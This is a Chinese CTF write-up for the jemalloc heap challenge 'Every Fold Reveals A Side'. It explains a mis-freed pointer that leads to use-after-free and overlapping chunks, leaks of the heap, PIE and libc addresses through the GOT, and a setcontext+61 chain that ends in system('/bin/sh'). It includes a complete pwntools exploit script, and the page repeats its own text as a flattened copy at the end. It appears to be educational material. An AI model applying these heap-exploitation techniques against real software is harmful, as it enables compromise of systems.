[强网拟态2024 final] Jemalloc heap: Every Fold Reveals A Side详解
字数 1597 2025-08-22 18:37:15

Jemalloc堆利用技术详解:Every Fold Reveals A Side题目分析

1. 题目背景与核心机制

1.1 Jemalloc特性

本题的核心创新点在于使用了Jemalloc而非glibc默认的Ptmalloc,并利用了Jemalloc的一项关键特性:

  • 自由释放特性:对于大小为size的chunk A,free(&chunk A)到(&chunk A+size)范围内的任意地址都会释放整个chunk
  • 无chunk头:Jemalloc中不存在传统意义上的chunk头结构

1.2 内存模式切换机制

程序实现了三种内存模式(type0/1/2),通过fold功能自由切换:

types = {
    "type0": 123,
    "type1": 312,
    "type2": 231
}

切换逻辑:

  • 如果对应type不存在:初始化并申请所需内存块
  • 如果type已存在:仅修改type号码和memory指针,指向对应的table

2. 程序功能分析

2.1 主要功能模块

  1. fold功能:切换内存模式
  2. Edit Memo:编辑memo chunk内容(type1时编辑0x48偏移处的指针内容)
  3. Show Memo:显示memo内容
  4. Free Memo:释放memo块
  5. do_func:调用当前type对应的函数指针(危险点)
  6. Free fun chunk:关键漏洞点
  7. Get Some Basic Info:查看table chunk的info元素
  8. Edit Basic Info:编辑basic info

2.2 关键漏洞点

Free fun chunk功能

  • 漏洞本质:free时未解引用指针
  • 实际行为:释放的不是p_fun_chunk,而是&p_fun_chunk
  • 结合Jemalloc特性:释放chunk任意部分都会导致整个chunk被释放

3. 攻击链构造

3.1 初始信息泄露

  1. 初始化type0,利用Free fun chunk功能释放其table chunk

    choose_direction("type0")
    dele_game()
    
  2. 初始化type2,获取被释放的table chunk,造成UAF

    choose_direction("type2")
    
  3. 切换到type0后使用show_basic_info泄露堆地址

    choose_direction("type0")
    show_basic_info()
    p.recvuntil('fo:\n')
    p.recv(8)
    heap = u64(p.recv(8))
    fake_chunk = heap - 0x6ff0 - 0x18
    leak_addr = fake_chunk + 0x7018
    

3.2 PIE基地址泄露

  1. 再次初始化type2造成三块重叠

    dele_game()
    choose_direction("type1")
    choose_direction("type2")
    
  2. 在type2下修改type1的memo指针,指向堆上的fun_chunk函数指针

    edit_basic_info(b'b'*0x28 + p64(0x100) + p64(leak_addr))
    
  3. 切换到type1泄露PIE基地址

    choose_direction("type1")
    show_memo()
    p.recvuntil('ent:\n')
    elf.address = u64(p.recv(8)) - 0x15bd
    

3.3 Libc基地址泄露

  1. 修改type1的memo指针指向GOT表

    choose_direction("type2")
    edit_basic_info(b'b'*0x28 + p64(0x100) + p64(elf.got['puts']))
    
  2. 切换到type1泄露libc地址

    choose_direction("type1")
    show_memo()
    p.recvuntil('ent:\n')
    libc.address = u64(p.recv(8)) - libc.symbols['puts']
    rdi_ret = libc.address + 0x000000000010f75b
    

3.4 SROP攻击构造

  1. 构造SROP链:

    choose_direction("type2")
    edit_basic_info(b'b'*0x28 + p64(0x100) + p64(fake_chunk + 0x48))
    choose_direction("type1")
    edit_memo(p64(fake_chunk + 0x48) + p64(0)*2 + p64(fake_chunk + 0x48 + 0x20 - 0x10) + p64(libc.symbols['setcontext'] + 61))
    edit_memo(p64(fake_chunk + 0xa0))
    edit_memo(p64(fake_chunk + 0xb0) + p64(rdi_ret) + p64(fake_chunk + 0xb0 + 0x10) + p64(libc.symbols['system']) + b'/bin/sh\x00')
    
  2. 触发攻击:

    do_func()
    p.interactive()
    

4. 关键技术点总结

4.1 Jemalloc利用技巧

  1. 任意地址释放:利用Jemalloc的自由释放特性,可以释放chunk范围内的任意地址
  2. UAF构造:通过不正确的释放和重新分配,制造重叠的内存块
  3. 信息泄露:利用重叠的内存块和未初始化的指针泄露关键地址

4.2 高级利用技术

  1. 多阶段信息泄露:分阶段泄露堆地址、PIE基地址和libc基地址
  2. SROP构造:利用setcontext+61的gadget实现栈迁移
  3. 函数指针劫持:通过修改函数指针控制程序流

4.3 防御绕过

  1. 绕过PIE:通过堆地址泄露计算关键偏移
  2. 绕过ASLR:通过GOT表泄露libc地址
  3. 无magic gadget利用:直接使用setcontext而非传统的free_hook+magic gadget

5. 完整EXP解析

from pwn import *
from std_pwn import *

p = getProcess("123", 13, './pwn')
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

types = {
    "type0": 123,
    "type1": 312,
    "type2": 231
}

def choose_direction(type):
    sla("Enter your choice >", "1")
    sla("Which direction?", str(types[type]))

def edit_memo(content):
    sla("Enter your choice >", "2")
    sla("content > ", content)

def show_memo():
    sla("Enter your choice >", "3")

def dele_memo():
    sla("Enter your choice >", "4")

def do_func():
    sla("Enter your choice >", "5")

def dele_game():
    sla("Enter your choice >", "6")

def show_basic_info():
    sla("Enter your choice >", "7")

def edit_basic_info(content):
    sla("Enter your choice >", "8")
    sla("content > ", content)

# 初始信息泄露
choose_direction("type0")
dele_game()
choose_direction("type2")
choose_direction("type0")
show_basic_info()
p.recvuntil('fo:\n')
p.recv(8)
heap = u64(p.recv(8))
fake_chunk = heap - 0x6ff0 - 0x18
leak_addr = fake_chunk + 0x7018

# PIE基地址泄露
dele_game()
choose_direction("type1")
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(leak_addr))
choose_direction("type1")
show_memo()
p.recvuntil('ent:\n')
elf.address = u64(p.recv(8)) - 0x15bd

# Libc基地址泄露
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(elf.got['puts']))
choose_direction("type1")
show_memo()
p.recvuntil('ent:\n')
libc.address = u64(p.recv(8)) - libc.symbols['puts']
rdi_ret = libc.address + 0x000000000010f75b

# SROP攻击构造
choose_direction("type2")
edit_basic_info(b'b'*0x28 + p64(0x100) + p64(fake_chunk + 0x48))
choose_direction("type1")
edit_memo(p64(fake_chunk + 0x48) + p64(0)*2 + p64(fake_chunk + 0x48 + 0x20 - 0x10) + p64(libc.symbols['setcontext'] + 61))
edit_memo(p64(fake_chunk + 0xa0))
edit_memo(p64(fake_chunk + 0xb0) + p64(rdi_ret) + p64(fake_chunk + 0xb0 + 0x10) + p64(libc.symbols['system']) + b'/bin/sh\x00')

# 触发攻击
do_func()
p.interactive()

6. 学习要点

  1. Jemalloc与Ptmalloc的区别:理解不同堆分配器的行为差异
  2. 漏洞链构造:如何将多个小漏洞串联成完整的攻击链
  3. 现代防护绕过:在PIE和ASLR保护下的利用技术
  4. SROP高级利用:setcontext在多版本libc中的应用
  5. 函数指针安全:理解不安全函数指针使用的危险性

通过本题可以深入理解Jemalloc的独特行为模式以及如何利用这些特性构造复杂的堆利用攻击链。

Jemalloc堆利用技术详解:Every Fold Reveals A Side题目分析 1. 题目背景与核心机制 1.1 Jemalloc特性 本题的核心创新点在于使用了Jemalloc而非glibc默认的Ptmalloc,并利用了Jemalloc的一项关键特性: 自由释放特性 :对于大小为 size 的chunk A,free(&chunk A)到(&chunk A+size)范围内的任意地址都会释放整个chunk 无chunk头 :Jemalloc中不存在传统意义上的chunk头结构 1.2 内存模式切换机制 程序实现了三种内存模式(type0/1/2),通过fold功能自由切换: 切换逻辑: 如果对应type不存在:初始化并申请所需内存块 如果type已存在:仅修改type号码和memory指针,指向对应的table 2. 程序功能分析 2.1 主要功能模块 fold功能 :切换内存模式 Edit Memo :编辑memo chunk内容(type1时编辑0x48偏移处的指针内容) Show Memo :显示memo内容 Free Memo :释放memo块 do_ func :调用当前type对应的函数指针(危险点) Free fun chunk :关键漏洞点 Get Some Basic Info :查看table chunk的info元素 Edit Basic Info :编辑basic info 2.2 关键漏洞点 Free fun chunk功能 : 漏洞本质:free时未解引用指针 实际行为:释放的不是 p_fun_chunk ,而是 &p_fun_chunk 结合Jemalloc特性:释放chunk任意部分都会导致整个chunk被释放 3. 攻击链构造 3.1 初始信息泄露 初始化type0,利用Free fun chunk功能释放其table chunk 初始化type2,获取被释放的table chunk,造成UAF 切换到type0后使用show_ basic_ info泄露堆地址 3.2 PIE基地址泄露 再次初始化type2造成三块重叠 在type2下修改type1的memo指针,指向堆上的fun_ chunk函数指针 切换到type1泄露PIE基地址 3.3 Libc基地址泄露 修改type1的memo指针指向GOT表 切换到type1泄露libc地址 3.4 SROP攻击构造 构造SROP链: 触发攻击: 4. 关键技术点总结 4.1 Jemalloc利用技巧 任意地址释放 :利用Jemalloc的自由释放特性,可以释放chunk范围内的任意地址 UAF构造 :通过不正确的释放和重新分配,制造重叠的内存块 信息泄露 :利用重叠的内存块和未初始化的指针泄露关键地址 4.2 高级利用技术 多阶段信息泄露 :分阶段泄露堆地址、PIE基地址和libc基地址 SROP构造 :利用setcontext+61的gadget实现栈迁移 函数指针劫持 :通过修改函数指针控制程序流 4.3 防御绕过 绕过PIE :通过堆地址泄露计算关键偏移 绕过ASLR :通过GOT表泄露libc地址 无magic gadget利用 :直接使用setcontext而非传统的free_ hook+magic gadget 5. 完整EXP解析 6. 学习要点 Jemalloc与Ptmalloc的区别 :理解不同堆分配器的行为差异 漏洞链构造 :如何将多个小漏洞串联成完整的攻击链 现代防护绕过 :在PIE和ASLR保护下的利用技术 SROP高级利用 :setcontext在多版本libc中的应用 函数指针安全 :理解不安全函数指针使用的危险性 通过本题可以深入理解Jemalloc的独特行为模式以及如何利用这些特性构造复杂的堆利用攻击链。